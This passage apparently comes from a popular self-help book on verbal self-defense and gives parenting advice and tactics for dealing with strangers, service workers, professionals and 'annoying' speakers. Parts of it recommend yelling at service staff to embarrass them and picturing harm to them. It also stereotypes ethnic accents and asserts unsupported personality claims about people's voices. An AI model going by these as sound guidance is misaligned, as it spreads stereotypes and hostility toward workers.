term is socially unacceptable to others. In fact, consistently using this term outside of their own little world can
create such a negative image that it affects their potential employment and social interaction.
The bottom line is that teenagers mustn't use this kind of talk in your home. They need to be conditioned to this
fact the very first time you hear them use obscenities. If they have already gotten in the habit of cursing and
you failed to condition them initially, you need to start doing so right away. Of course, it might take a little
longer to get the message through to them, but if you maintain your consistency, it will eventually sink in.
Expect to Hear This from Your Teen
Following is a list of common teenage concerns that parents have to learn to address effectively. Don't freak
out and get mad or flabbergasted—handle it! Be in control! You now have choices to make concerning which
verbal defense strategy you plan to employ.
I can't tell you exactly what to say, because for all I know you might say “Go ahead take the car” or “Here's
$1,000, go have a ball!” or “What kind of liquor can I get you?” If you need to contest their request, however,
your best bet is to use the Direct Confrontation, Calm Questioning, or Love and Kindness techniques.
• I want to drive.
• I want to date.
• I want to stay out late.
• I want to hang out with my friends.
• I need money.
• I need the latest style clothes.
• I need more computer stuff.
• I need stereo equipment.
• I want the right gym shoes, and I don't care about the price.
• I want to sleep over at a friend's house.
Page 197
• I don't want to study.
• I want to see that movie—I don't care about the rating.
• I got wasted (drunk).
• I like doing drugs.
• I am ugly.
• Everyone hates me.
• You're always picking on me.
• Nobody asked me out.
• Everyone I asked out said “No!”
• I hate school.
• I hate YOU!
Verbal Defense with School-Aged Kids.
Children often become obnoxious as they try to push the envelope to see how much they can get away with.
They may become verbally belligerent, speak in “street” (verbally incorrect and accented) language, or curse in
order to fit in.
Best Bet: Set Limits Immediately!
If you don't set limits at this crucial age, you might never have the chance to do so again! This bad verbal
behavior can become so ingrained in them that it will become difficult to control. The techniques used with
teenagers are also effective with school-age children. Their reasoning powers may not be as highly developed,
however, so you might want to communicate with them so that they can really “hear” you. They need to be
corrected (not in a negative way but in a positive and upbeat way), reinforced, and encouraged to repeat the
correct form of speech after you. Even if they don't repeat the word, they will still be learning the correct usage
by hearing you say it over and over; you will subconsciously ingrain positive verbal habits in them.
Parental Verbal Control
While it is good to have verbal control by repeating the correct form of the word—correct grammatical form or
pronunciation—don't overdo it!
Every child stutters or stammers while developing speech and language, so don't go nuts if your child does this.
It has long been said that “stuttering
Page 198
begins in the parent's ears.” In other words, don't make children nervous when they talk or ever tell them to
shut up or to “slow down.” Instead, let it go by and repeat correctly what they were going to say.
Sometimes in frustration, when a parent is angry, he or she tells children how stupid they are or that they are no
good. No matter how angry you get as a parent, be aware that if you say these horrible words, the consequences
of your actions will be serious. As I said earlier, “words stick.”
You are doing your child a huge disservice. In essence, you are robbing your child's self-esteem and
contributing to the destruction of her self-worth. If you are using this method as a way of controlling your
child, find another way. You are playing with fire. It can be extremely dangerous!
Best Bets: Ask Your Child If She Wants to Go Somewhere with You
Respect them. Don't drag them along! If they don't want to go, let them know that it would mean a lot to you if
they came, and that you enjoy their company. Just showing them this bit of respect changes their entire
outlook. They no longer see it as an obligation, but as being needed, wanted, and important. If they really don't
want to go, you'll save both of you a lot of grief by letting them stay at a friend's house or hiring a baby-sitter.
Often the word “baby-sitter” cures their attitude, and suddenly they want to come along!
People hunger their entire lives for the words “I'm sorry” from a parent who wronged them. A common wish
for many patients who consult with health care professionals is the following statement: “If only they (one or
both parents) would have apologized for what they did. That would have made all the difference.”
Verbal Defense with Pre-Schoolers
This section explains how to communicate with pre-babies, infants, toddlers, and young children. You learn
what to say to them and how to say it, factors that are crucial during their period of speech and language
development. You even learn how to effectively respond to their sometimes-aversive communication patterns.
Verbal Defense in Utero
I firmly believe that verbal stimulation of the fetus in the third trimester (months 7, 8, and 9) is crucial to preinfants
developing communication skills.
Page 199
The same holds true for voices. When a father speaks to an infant by placing his mouth near the mother's belly
and talking, the infant is able to recognize the father's voice as distinguished from other voices. Considering all
the new information continuing to come to light, I recommend that you play it safe and talk to the developing
person in your womb. Speak in soft, well-modulated tones. The infant might experience greater calmness as it
enters the world. Who knows? Perhaps by doing this, you are creating a calmer and less stressed person.
Verbal Defense with Infants and Toddlers.
Don't talk to your infants as though they are idiots. Their receptive skills have the potential to grow
exponentially, but this depends on how much you communicate with them and thus verbally stimulate them.
Not doing so can retard their speech and language development. That doesn't mean sounding like a rocket
scientist or teaching them quantum physics. It does mean speaking to them in complete sentences that are
appropriate to the situation.
For example, if your baby is eating, say “I'm putting your food on a spoon. Good baby. You ate all your food.
Here is some milk.” Even though babies can't answer you in complete sentences, you will be surprised at how
much they will understand. And with you and your family's constant verbal stimulation, their vocabulary and
their ability to communicate will increase. The more able they are to communicate, the more interaction they
will have with the people and the world around them. The results? A happier and less frustrated little person.
Terrible Twos Are Verbally Terrific!
Two-year-olds say “no” all the time, and this usually makes parents crazy. Despite the phrase “terrible twos,”
however, this time is not terrible when it comes to verbal development—it's a great time. Instead of getting
frustrated when they say “no,” get
Page 200
happy. For the first time, children are asserting themselves and making decisions. Encourage them with
affection and kind words. If you really want them to do something and they strongly resist, this could be the
opportune time to teach them about rejection and not getting everything they want. In calm tones, explain why
they can't do something.
Respect them! Correct them! But don't do it in harsh tones. As they become more verbal and understand more,
repeat what they said correctly. Reinforce the good and correct the bad with love and kindness as you ask them
to repeat correctly.
Talking to Children Who Act Out Verbally
Children usually act out when they are angry at something that just happened or continues to happen, harboring
emotional pain. They also act out to test the limits of what you will and will not tolerate in their behavior.
Like when communicating with teens, with children you need to set limits immediately. They have to know
right away that you are in control. Unlike teens, however, many children are too young to follow a reasoning
process. What might work best, therefore, is a combination of Direct Confrontation and Love and Kindness.
These techniques often produce guilt feelings in the child, as they begin to distinguish right from wrong and
learn what they can and cannot say to you.
Children need to learn early on in life that there is a cause and effect for everything they do or say. They will
learn that hurtful or nasty things they say can evoke negative reactions and consequences. Either they will hurt
someone's feelings or be unable to do certain things or participate in certain activities, or they will have the
chance to do certain things they enjoy and get certain things they want. Usually Calm Questioning, asking them
a series of yes and no questions, is highly effective in getting children to understand that what they said was
inappropriate and possibly hurtful.
Your Best Bet: Children of This Age Crave Respect
Young children want to know that their opinion and feedback mean something. Parents make the biggest
mistake at this stage as they pay no attention to a child's
Page 201
opinion. Even parents who regard themselves as hip and with the times often perpetuate the idea passed from
parent to child from time immemorial, that children should be seen but not heard. Many parents don't even
realize they are communicating this idea. If you are, be conscious every time you do it and stop it! Children
have to be both seen and heard if they are to have any sense of self-worth. Their opinion has to matter. Ask
them what they think about various issues, from what clothes they prefer to what they think of certain movies
or news events appropriate for the child of their age. Get their opinion. Get them involved. Respect their
opinion. Teach them that what they say matters.
Cursing Kids.
Children are great imitators. When they hear what you say and how you say it, they often parrot it back to you.
If you use ugly words and tones, make sure you don't use them around children, or chances are you will hear
them again—this time, “out of the mouths of babes.”
Many children start to learn curse words around the ages of 3½ to 4, so watch what you say in front of little
ears.
Remember the experiment where the ducklings followed a man around, thinking he was their mother? The
reason for this strange behavior was that he successfully imprinted this in their minds. The same process occurs
with children when it comes to learning words and speech. They too—both good words and bad words—are
imprinted in a child's mind. So when a child hears you tell someone to “go to hell” or to “f—off,” don't be
surprised if you hear these curses echoed back to you by a little mouth.
Kids also pick up these words from their older siblings and peers, or from TV shows or song lyrics. Best Bet:
set limits and be consistent. Let them know right away that these are bad words that make them look bad when
they say them. If you as the parent or caretaker are the cursing culprit, you need to apologize to them for your
mistake. Tell them that you were wrong for saying those bad words and that it made you look bad, just as it
makes them look bad.
Page 202
The key is to R-E-S-P-E-C-T your child and your teen. That is the best bet for parental verbal self-defense.
Page 203
Chapter 16
Verbal Warfare with Specific People in Your Life
Besides your family, there are other people in your life you wish weren't there. Unfortunately, they are there to
stay, so you have to deal with them. You have no choice.
They come across your path and enter your life unexpectedly. They appear out of nowhere. Even if you never
step out of the house, you can still run into them.
They are there when you pick up your phone or call someone to help you with something. They are there when
you buy gas, go to a restaurant, go to the grocery store, or go shopping for clothes. They are there when you
drive or when you see a physician or dentist. They are even there when you get a haircut or a manicure. They
are everywhere! You can't escape them!
Verbal Self-Defense Techniques for Various Groups
If you don't plan to stay in bed for the rest of your life with the covers drawn over your head, you will need to
learn how to deal with these verbally abusive toxins who infiltrate your life. This chapter gives you pointers
concerning what verbal defense strategies are most effective with particular people in your life.
Page 204
Invasive Strangers
One of the best ways to meet people is to spontaneously come up to a perfect stranger and start talking to her.
Likewise, if strangers are attracted to you and want to meet you, they do the same thing. That is what makes the
world go around. When you share pleasantries with a stranger, it is a wonderful feeling. It makes you smile and
feel good all over. It makes you feel important, as though you matter.
On the other hand, perfect strangers can say things to you that can make you feel not so wonderful—things that
make you unhappy, angry, or hurt. Their words make you doubt yourself and feel insecure.
As I mentioned in the scenario in the beginning of this book, who wants to wake up, walk the dog, and hear a
dead dog story or a tragic tale about someone's animal? Who wants to hear how strange they look, how
overweight they are, how weird their hair looks or anything else negative about them? People can be rude—
unknowingly or knowingly.
When you encounter verbally toxic strangers, effective techniques include directly confronting them or calmly
questioning them or mirroring back their own obnoxiousness. These techniques are best done in the form of
snappy comebacks. Some of the best snappy comebacks include saying things like, “Do I know you?” or
“Have you ever tried manners?” Be sure you use these types of comebacks only with someone who has been
equally obnoxious to you, strangers who are either unconsciously or purposely invasive. Using comebacks as
part of your verbal repertoire usually helps you feel a lot better. It prevents you from that “If I had only said…”
Syndrome, where you lie awake at 3 A.M. thinking about what you “woulda” or “shoulda” said to that obnoxious
interloper.
“Friends”
“With friends like you, who needs enemies?” Saying this to them lets them know that you are onto their ways.
It represents the Direct Confrontation Technique and opens the door for further dialogue. By making this rather
bold statement, you can see how your “friends” handle it. If they get defensive and begin to blame you, well,
you obviously know where you stand. On the other hand, if they try to explain or plead with you, they are
showing that there might have been some type of miscommunication, or they are trying to express remorse.
How do you ever forgive being betrayed? How can you ever trust someone again?
Page 205
While it is true that everyone makes mistakes, in most cases you can't ever trust a verbal betrayer again! Thus,
you have to use the Unplug Technique. To do otherwise is to take a big risk. How can you be sure that they
won't do it again? By doing and saying what they did, you perhaps have seen a glimpse of their character—a
glimpse that will protect you from seeing a more horrible sight!
Enemies
An old expression recommends that you keep your friends close, but keep your enemies even closer. The
reason is that you can always keep tabs on what your enemies are doing and what they might plan to do to you.
This doesn't mean that you have to like them, but it does mean that you have to know their whereabouts and
what they might be up to. After all, this is what happens in full-scale wars.
Intelligence officers infiltrate the enemy camp or even a neutral party to find out what's going on and tell the
other side. It works the same in verbal warfare. It is best to have a neutral party who lets your side know what
the other side is up to if you ask. So, ask!
It's obvious when two people don't like one another. This happens for a multitude of reasons, from betrayal to
fear of destruction to jealousy and so forth. It's normal and to be expected on this planet as a form of human
nature. Even though we strive to “love everyone,” to “love our neighbor,” it doesn't always work out that way.
Some of our neighbors are just plain unlovable.
To keep your enemies from totally destroying you, use the Stop the Thought Technique: Silently shout “Stop
the thought!” in your head whenever you think of the person. The Tension Blowouts help you get the people
out of your system when you are or have been in their presence.
I do not recommend directly confronting them, questioning them, or using the Give 'Em Hell and Yell
Technique. This can inflame tempers, create stronger verbal ammunition to be used, and maim or even
annihilate the opponent. It's not worth the emotional hassle. Avoid it.
I do recommend the Love and Kindness Technique with your verbal enemies, no matter how difficult it seems.
Before you tune me out or even want to throw this book at me, just read a little further. This technique helps
you to keep your enemy close by, so that you can keep tabs on him. It also takes away the constant stress and
useless energy that hating someone creates. And finally, you might be shocked to learn that repeated positive
energy and kind and loving words can often turn your worst enemy into your best friend.
There is mighty power in verbal love. Try it! You might be surprised at the results!
Customer Service Representatives.
Imagine the following scenario. You innocently call up someone from a credit card company to talk about a
problem with a bill on which you were charged twice for the
Page 206
same item. You explain your problem in a calm and collected manner, only to hear a robot on the other end of
the line. I'm not talking about the mechanical, taped message telling you which buttons to push in order to be
connected to the appropriate department. No, I'm talking about a very unhelpful, monotonous, condescending
sadist on the other end of the line. Your voice reflects your annoyance at her, to which she robotically replies,
“I'm sorry you feel that way.”
Most people can relate to this scenario. Your best alternative is to give the person on the receiving end a little
of the Give 'Em Hell and Yell Technique. Unfortunately, it's too easy for them just to hang upon you. Now you
have other options that will be effective. The best is the Calm Questioning Technique, peppered by a friendly
Love and Kindness approach, as you slowly do the Tension Blowout Technique. While using this technique to
get further up the customer service food chain, calmly and pleasantly ask to speak to a customer service
representative.
People Entrusted with Yourself or Your Property
You go to the dry cleaner and pay lots of money for your clothes to look and smell good. Upon careful
inspection of your garments the next day, you find that they neither look good (ironed improperly, with creases
on the sleeves of your jackets) or smell good (the smell of your “ironed” perspiration almost knocked you
over). You politely ask him to re-clean some of the garments. Angrily, he accuses you of ironing and creasing
the sleeves of the jackets yourself! Quite an impossible task, since you haven't held an iron in your hand since
you were forced to in your junior high school home economics class. To top it off, he accuses you of dirtying
and smelling up your own pants and jackets.
You feel like punching the man in the face. Instead, you punch the computerized cash register, hoping you
broke it! Then you run as fast as you can before he calls the police on you or before your temper gets so out of
control that you do the dry cleaner some bodily harm.
Whether you have to entrust your clothes, swimming pool, home repair, or hair to another person, serious
repercussions can result from them not performing their jobs up to par! A floor being ruined, clothes destroyed
beyond repair, and hair damaged to the point that you are embarrassed to be seen in public are not only costly
because you have to have these things redone at further expense to you, but emotionally devastating!
Some mishaps with service people are the result of you not properly explaining to them what to do. Most often,
mishaps result from them being overwhelmed by excessive business or just plain incompetence. In these cases,
you have no other choice than to Give 'Em Hell and Yell. This not only helps you to get it out of your

Page 207
system, but it gives you the satisfaction of embarrassing them in cases where there are other customers in their
establishment—they might think twice about doing further business with them.
Then you must obviously Unplug and never do business with them again. If they make you furious, whenever
you think of them do the Vicarious Fantasy Technique. Seeing their head under the steam press can give you a
little sadistic chuckle and release a lot of your own steam.
If the mishap is your fault because you didn't explain it right, admit it. Be a mensch. You know what that
means! You learned it in Chapter 9 in the section on “Bingo! You Got the Lingo!” In case you forgot, it means
a decent person.
To help prevent this misunderstanding from happening again, speak slowly, have them repeat the instructions,
and, if appropriate, write them down!
Salespeople, Store Clerks, and Realtors
Whether they are selling a car, house, suit, or apple, nobody has the right to be rude and obnoxious to you, just
as you have no right to be rude and obnoxious to them.
We have all encountered unexpected hell from someone who ended up putting us in a horrible mood, even
though we started out being excited. If we were kids, we would literally be jumping up and down to show how
thrilled we were and that we couldn't contain ourselves because we were getting a bigger and better house, the
car we always wanted, or a new designer outfit.
Then all of a sudden, our smiles turned into frowns as the happiness and eager anticipation was sucked out of
our veins by this evil sales vampire. He was cold, abrupt, curt, nasty, rude, condescending, acted as though he
was doing us a favor just by waiting on us, gave us attitude, and took his sweet time, making us wait until
things were convenient for him.
Why Did They Do It?
Many sales vampires don't mean to suck out your happiness and enthusiasm. They just can't help themselves.
As a result, they make your life miserable, and theirs as well. Ironically, they aren't accomplishing what they
are there to do in the first place—make a sale and earn some money so that they, too, can have the opportunity
to have the things you are buying from them.
Page 208
There are many reasons why a salesperson might be rude to you, although there is still no excuse for their
behavior. Perhaps seeing it from their point of view might give you a little more empathy and compassion
towards them. Maybe their previous customer was rude to them, maybe they don't like their boss, or maybe
they are exhausted after a long day.
Whatever the reason for a salesperson's rudeness, try killing them with kindness. You might just be the one to
turn their entire day, and their mood or attitude around.
What Else You Can Do!
Sometimes no compassion and understanding in the world will change the attitude of a salesperson, or douse
the fire burning inside of you as you experience the wrath of the salesperson from the world below. You don't
care what the reason is. It's not your problem. You came there for a reason—to purchase something—and you
weren't helped.
All you know is that you are mad as hell and you are not gonna take it anymore. Who can blame you? You
need to express your disdain. But do it in a way that is both fire-and anger-releasing and productive, so that you
can get the result you want.
The best of all worlds is to Unplug and get a new salesperson. Let them know you don't want to deal with them,
using whatever strategy strikes your fancy at the time. If you choose, Give 'Em Hell and Yell. If you want to be
more civil, directly confront. In any case, the message is clear—you won't take it and you are “outta there.”
“Outta there” means either going to a new place to do business or going to a new sales representative to do
business.
People Who Serve You
It's time to eat, so you go into an impressive restaurant with two important clients who finally arrived in town.
You need desperately to impress them because a lot is riding on this deal. If they like and trust you, you are in!
You are ready to order when you notice the waiter from hell standing directly in front of you. This verbally
hostile creature with a huge frown, lifeless eyes, and a lifeless voice asks for your order in the tone of voice that
says “You disgust me and I'm doing you a favor to even talk to you.” You and your colleagues take a little
extra time, as you can't decide between the chicken or the lamb dishes. The waiter looks at all three of you like
you are suffering from a rare infectious disease. When you all finally make up your minds, the waiter snatches
the menus away from you. The others give you a quizzical look and you give a sheepish smile. You don't want
to make any waves. You want to ignore this unpleasant moment—too much good is about to happen.
Finally, your food comes. The vegetables are undercooked and the lamb is raw. When you notice that one of
your guests is having difficulty cutting into the rubbery chicken, you politely summon the waiter and tell him
what the problem is. Treating you as though you have committed a felony, he blames you for choosing that
particular dish: “That's the way it comes, and I can't do anything about it.” By now you are
Page 209
ready to take the plate and shove it in his face, but you don't dare because of your important clients. They insist
that everything is fine, that their meal is fine.
Even though you feel nauseous, you smile weakly and pretend nothing happened. Your clients like you, and so
you ultimately get the account—but not without the expense of a severe migraine, neck and shoulder pain, and
diarrhea.
There is nothing more upsetting than a rude serviceperson who causes you stress and frustration when all you
want to do is have a good time, close a business deal, make a good impression, or woo someone in whom you
are interested. You get so mad you are ready to spit nails. But often, as in the preceding scenario, you can't do
anything about it because you are with a person who is very significant or important to you. You can't yell or
even say anything, for fear your companion will think you are pushy or overly aggressive. Thus, you keep it in
and simmer.
There's No Excuse!
The restaurant scenario is maddening. How dare someone treat you with less than respect when you have come
into their establishment to relax, be entertained or to entertain someone, eat well, or just to be among people?
There really is no good reason why a person in a business that is supposed to help you ends up hindering you!
The main reasons they act this way have to do with jealousy, insecurity, or feelings of superiority. In reality, of
course, they reflect their inner inferiority through their toxic verbiage. Perhaps they “cop an attitude” because
they hate what they are doing. They might feel that the job is beneath them or that they are just biding time
until the work day is over. They want their paycheck and they want to go home immediately! Many are envious
of their customers and patrons because they want to be in their shoes, with someone waiting on or serving
them.
Here is a list of seven types of verbally toxic service people you have most likely encountered:
1. The Fighting Rudee: These are people with a hostile attitude who usually instigate a confrontation with the
patron. They have a chip on their shoulder and have no idea what the saying “the customer is always right”
means. They only know what “always looking for a fight” means.
2. The Prejudiced One: These ignorant and backward people have a preconceived notion about a certain sex or
ethnic group and treat all members of that group with hostility and disdain. They are abrupt, unhelpful, and
uncooperative.

Page 210
3. Abruptees: They are curt and will either interrupt you or not let you speak in the first place. They are
impatient and can't seem to get you to leave fast enough.
4. Sourpusses: They are so upset about where they are—their plight in life or their present situation—that they
can't help but wear their expression on their face. They have a squinched and bitten facial appearance with a
perpetual look of disgust, anger, and frustration. Their faces tell you that they don't like what they are doing,
they don't like you, and they don't want to be there. Because their energy is so toxic and they are so hard to be
around, you don't want them there either.
5. Power for the Hour: these are people who act as though they are better than you by taking the power they
have (such as letting you into a club or seating you at a restaurant) and throwing it around. These people are
obviously insecure and have to push others around to feel important. Such people are more to be pitied and
laughed at than to be angry at.
6. Robots: These unhelpful, monotonous, droning repeaters of the company's doctrine live in great fear. They
are afraid to think for themselves and to say what is really on their minds. There is no getting through to them,
because they are set in their ways. They are condescending, will never see your point of view, and will always
minimize what you say, unless it happens to fit into their programmed script.
7. Extreme Incompetents: These types always screw up! They'll end up costing you money because of their
frequent mistakes. They are the type that forgets a charge off your bill or always does the opposite of whatever
you tell them.
When You Can't Afford to Make a Scene
You don't ever need to let your blood boil again! Suppose you happen to be in a situation similar to the one
presented earlier, where it is difficult for you to speak your mind because of the company you were trying to
impress. In such a situation, breathe, breathe, breathe! In this case, as in most cases, the Tension Blowout
Technique is a lifesaver—no question about it!
The “Stop the Thought!” Technique is also effective. Use it so that you never have to go back there, even in
your mind! You'll get the verbal toxins out of your system for good.
When You Can Afford to Make a Scene
The Direct Confront Technique is usually the most effective way to deal with verbally toxic servers. You need
to immediately bust them on what they are doing and what they are saying to you.

Page 211
Another excellent choice is the Mirroring Technique, in which you have to talk to them exactly as they are
talking to you. Use the same tone and similar words. This usually shocks them into place. They see that you are
on to them and so they usually will turn their behavior right around. You can also use the Calm Questioning
Technique, where you calmly ask them why they are treating you so rudely. You might also ask them if they
are having a bad day. They might admit they are, and immediately apologize and change their actions, tone of
voice, and what they say to you.
If these three techniques don't work, don't ignore them—Unplug them! You don't have to sit at a table where
you are being treated poorly. You don't have to patronize an establishment where you are not being
accommodated. You can leave a restaurant immediately! You do not have to take it! You do not have to be
punished. You pay—they play! There is often someone above the unhelpful person and someone above that
person and someone above that person who can help you solve your problem and address your concerns. Seek
them out. You'll not only save your own esteem, but you'll prevent others from experiencing the nastiness you
just went through.
Even after you have unplugged and sought and perhaps even received justice, you might still be steaming over
how they spoke to you and what they said. To release built-up tension, I suggest you use the Vicarious Fantasy
Technique; fantasize what you would love to do to them or what you would love to see happen to them. Once
again, I repeat for the umpteenth time, fantasize—you don't actually want to do bodily harm to another person.
People Who Don't Speak Your Language
These days it is pretty common to meet someone who does not speak English at all, or at least very well. It is
important when trying to communicate with someone in this situation, that whatever you do, don't yell at them!
They aren't deaf! Don't get upset with them! Instead, be patient. Think of what it would be like if you were in
their shoes. Show a little compassion. Speak softly and take some time. Gesture or make signs to get points
across; point, draw, write. You will eventually be able to communicate.
If you are speaking with someone who has an accent that you don't understand, ask them to speak slowly and
don't be afraid to ask them to repeat. Only do it in pleasant manner, not angrily or impatiently. Also try to listen
to others speaking English in a similar accent in order to familiarize yourself with sounds and tonal qualities
indigenous to the accent.
Page 212
For example, some people from Japan confuse their l and r (“led” for “red”) sounds, and some Swedes do not
say z sound (“pleass” for “pleaz”). Some Latinos say ee for ih sounds (“sheep” for “ship”), and some Russians
say d sounds for th sounds (“dis” for “this”). Chinese people who speak Cantonese sometimes sound as though
they are angry at you and yelling at you when speaking English to you. They are not: this is just the way they
adapt the tonal qualities in their language to our language.
You can see how easy it is to get the wrong message conveyed. The sounds and tones people use in their native
language might represent something entirely different in our language.
Professionals and Authority Figures.
Unfortunately, some abusers might literally “hold your life in their hands”—an employer, doctor, attorney,
police officer, or teacher.
Just because they have a long list of degrees or hold the reins to your financial status does not give them the
right to speak to you in a condescending or hostile way. Like the service person, these professionals exist to
guide and assist you, to take care of you, not to verbally assault you.
But sadly, they do assault you too many times.
You can use numerous verbal self-defense techniques with such abusers. But note, the more harsh and severe
the techniques you choose, the more likely it is you will alienate these people in power. The good news is that
you will feel a lot better. You will have defended yourself and stuck up for your rights, protecting your dignity.
The bad news is that you might have gotten into more trouble than you bargained for—getting arrested, being
kicked out of places, or being fired.
Verbally Toxic Employers
Sometimes you have the good fortune to have an employer or teacher who is a gem. They are supportive,
caring, understanding, open, and respectful. They value your opinion and what you have to say. They reward
you for your efforts in praise or in a raise. They are appreciative of your efforts and consistently let you know
how much they value your work.
But more often than not, there are the Toxic Employers who are here to make your life miserable. Your
employer
Page 213
might be a bully, a wimp, a mental case, a liar, a silent-but-deadly erupting volcano—any of the 30 types of
“toxic terrors” mentioned in my book Toxic People—10 Ways to Handle People Who Make Your Life
Miserable. The verbal strategy you use to defend yourself depends largely upon what type of verbal terrorist
they are and how much you want or need your present job. Milder strategies work better if you need your job.
If you don't really care, go for it—Give 'Em Hell and Yell, Confront, and loudly Unplug.
Verbal Medical and Dental Disasters
You decide that it's about time to go to the dentist. You have finally gotten up enough nerve to tolerate the
shots you know your gums will be receiving. You make that call, and a rude-sounding person abruptly tells you
the fee, saying that they don't take dental insurance and that you have to arrive exactly on time or the doctor
won't see you. To top it off, she massacres your name as she asks you to spell it three times and still
pronounces it wrong. If you didn't need to have that root canal, you'd have hung up on her long ago.
You show up at the scheduled appointment, and the hostile and rude assistant gives you an attitude. You tell
her to cool it—reminding her that you're a well-paying customer about to pay a significant amount of money.
She goes into the dentist's office, probably to fill him in on how difficult you are being. You're already scared
and nervous, and now you are in front of the dentist. He speaks abruptly and has a cold tone. You know that
this is not his normal tone as you heard him talking on the phone a few moments earlier, where he was warm
and animated. You're scared of him. He sounds mean! He doesn't like you, but it's too late—his fingers are
already in your mouth.
Many times you have to hold back your tongue, because these people can make your life completely miserable
if you don't. For example, giving a police officer hell and yelling might land you in jail. Mirroring a bullying
boss or teacher (giving them a taste of their own verbal medicine) can get you fired or kicked out of class. Even
if your questioning is cool and calm, many verbally toxic physicians and attorneys might misconstrue your
questions as a form of interrogation. This automatically places them on the defensive, and more often than not,
they verbally attack back! Professionalism and Hippocratic Oaths aside, they are still human, and if they don't
like you, there is a chance this will be reflected in their work.
If you don't really care whether you lose your job, have to get a new physician or attorney, get kicked out of
class, or get thrown in jail, you can use a more aggressive approach like Give 'Em Hell and Yell, Mirroring,
Questioning, or Unplugging—getting these people out of your life!
Page 214
On the other hand, if you choose to keep your job or your status in a company, not land yourself in jail, and not
upset the status quo, you might want to employ some techniques you learned about in Chapters 10 and 11:
Tension Blowouts, Love and Kindness, Direct Confrontation, and Vicarious Fantasy. These less aggressive
approaches can even be the catalyst to turn around the attitudes of these “professionals” and authority figures.
Sometimes these people say mean things to you unwillingly, because they are under an inordinate amount of
pressure, which stimulates their short verbal fuse. Sometimes a kind word and compassion is all it takes to turn
their toxic words around.
Page 215
PART 5
VERBAL COMBAT AGAINST VERBAL ABUSERS
Throughout the next three chapters, I refer to verbal abusers, and sometimes painful verbal abusers, because
of the emotional and sometimes physical pain these people can cause. Verbal abusers don't always do that
much harm. They are simply annoying. Others are rather revolting and disgusting, and still others are
downright dangerous and can do tremendous damage.
Chapters 17–19 discuss each of these categories of verbal abusers and how to handle them. You will learn how
to defend yourself against them and to either control their invasion or exterminate them from your life. You will
begin by learning about the most benign vermin, the annoying ones, then graduate to learning about those
vermin who disgust and revolt you, making your life so uncomfortable that they make you paranoid and
suspicious of everyone around you. Finally, you will learn about the worst kind of verbal abuser, those who
can destroy you by gnawing at your insides. You will learn how to extinguish them from your lives by using
effective verbal weapons to annihilate them forever.
Page 217
Chapter 17
Verbal Combat Against Annoying Verbal Abusers.
These types of verbal abusers won't hurt you; they are just uncomfortable to be around. If they are around for a
short period of time, you can live with it, but if they are around for prolonged periods of time—watch out!
They will eventually get on your nerves, just like an infestation of ants. Just remember that if you are not
careful with which defensive technique you use you might cause them major emotional damage. These Verbal
Annoyers come in 13 different types. In this section, you will learn characteristics of each of them and the best
techniques to handle them.
Mumble Jumble
According to a Gallup poll, people who mumble are so off-putting that 80 percent of those questioned found
mumbling to be one of the most annoying speech habits. The reason is obvious. You can't understand a word
they say! You have no idea what they are talking about, so you ask them to repeat. They do. You understand
them and then they mumble again. You end up asking them to repeat what they said after everything they said,
which is frustrating for both of you. They are mad at you for not understanding, and you are mad at them for
not speaking up!
Page 218
To avoid the two of you wanting never to speak to one another again, you need to be open and directly confront
the mumbler, but you must do it with a Love and Kindness Strategy. You might also want to help them by
giving them some pointers on how to stop mumbling, but be very careful. Do it in a diplomatic way so that
they won't be offended. Since most mumblers tend to suffer from fragile self-esteem—they often feel they
aren't worthy of being heard—be gentle with them!
Here's what you might want to say to a mumbler: “I am so sorry, I don't mean to be disrespectful, but I am
having trouble understanding everything that you are saying. Since it's important for me to hear everything [or
“since I'd like to hear everything”], don't be offended if I ask you to repeat something.”
If you feel comfortable doing this, you might want to say the following: “You know, I was reading this book on
verbal self-defense the other day, and it said that people need to spend about one second on each vowel when
they speak. I tried it, and it really helped me. It really worked. Once again, I don't mean to be offensive, but
perhaps if you can try this technique and draw out each vowel for a second, I can understand you a lot better.”
Then smile. A smile diffuses the intensity of the situation and presents it in more casual light. If they still
mumble and you really need to listen to what they said, do the best you can. Block out all other stimuli and
concentrate like mad. If the person is not very instrumental in your life, unplug—leave! It's not worth being
tortured.
Sonic Boomers!
Ouch! These people are not only embarrassing to be around, they can actually hurt your eardrums or shock
your nervous system every time they speak. According to a Gallup poll examining the most annoying speaking
habits, close to 75 percent of the respondents found a loud voice to be annoying.
People tend to speak too loudly for several reasons. First of all, they might have a type of hearing loss due to an
obstruction in their ears.
A second and more common reason people speak so loudly is that they need attention. They suffer from such
insecurity that they think only of themselves and their need to be noticed. This usually makes them
unconscious of the world around them. They don't care if they are in a doctor's office, on an airplane, or in a
library. No place matters, and nothing they say matters. They could be telling you the most intimate detail of
their life or of someone else's life. It makes no difference: everyone within 100 miles of them will hear their
sonic-booming voice.
Once again, you have to be a diplomat. Smile and use the Calm Questioning Technique, saying “I don't mean
to be rude, but do you think you can perhaps lower your

Page 219
voice? My ears are really sensitive to certain tones.” You aren't lying. Your ears certainly are sensitive to
certain tones—their tones!
The key is to couch your words with politeness and sensitivity, since you need to have empathy for the possible
understandable contributing factors to their loudness. If they can't reduce their decibel level, you can reduce
yours, by either walking away from them (if you don't have to be around them) or by wearing earplugs (if you
do have to be around them).
You might also want to use the specific Direct Confrontation Technique that I talk about later in this chapter.
This approach encourages you to direct them to see a physician or a speech pathologist who can possibly help
them lower their booming voice. A person who speaks in such a loud voice often has related problems, such as
hoarseness of the voice, vocal nodes (growths on the top portion of the vocal cords), vocal ulcers, or ear
problems. On the other hand, they might just have bad speaking habits. Whatever the problem is, you might be
doing them a huge favor.
Meek, Weak, and Squeak
Like the Mumble Jumblers, these people frustrate you because you have so much trouble hearing them. Like
the Sonic Boomer, the sound of their high-pitched voice can also hurt your ears. Over 60 percent of the people
surveyed feel the same way you do. They don't respond well to people who sound like this and don't know
why.
The reason is that they are registering that these people are psychologically passive-aggressive. They are
sickeningly sweet-sounding. But beware! They can blow their top on you any minute!
If you experience the wrath of a meek squeaker, run for your life! Unplug from them as rapidly as you can!
They are dangerous and can cause you lots of trouble. If for reasons you can't control, you can't unplug, do the
Tension Breathing Technique and know before whom you stand. Keep checking in with them and confronting
them so that there are no surprises. Keep asking them questions, so that you know where they are or have an
idea about what is on their mind most of the time. Obviously they won't be open and forthright, but they might
slip up from time to time, so keep asking.
Baby-Voiced and Cutsie-Wootsie
The worst part about these people is that they actually think they sound great, that they are getting points for
sounding like a bimbo. They might be cute during intimate moments in the bedroom with their lover, or while
talking to babies or small animals.
Page 220
But when people talk like this in public, others cringe. You cringe. You might cringe so badly that you feel the
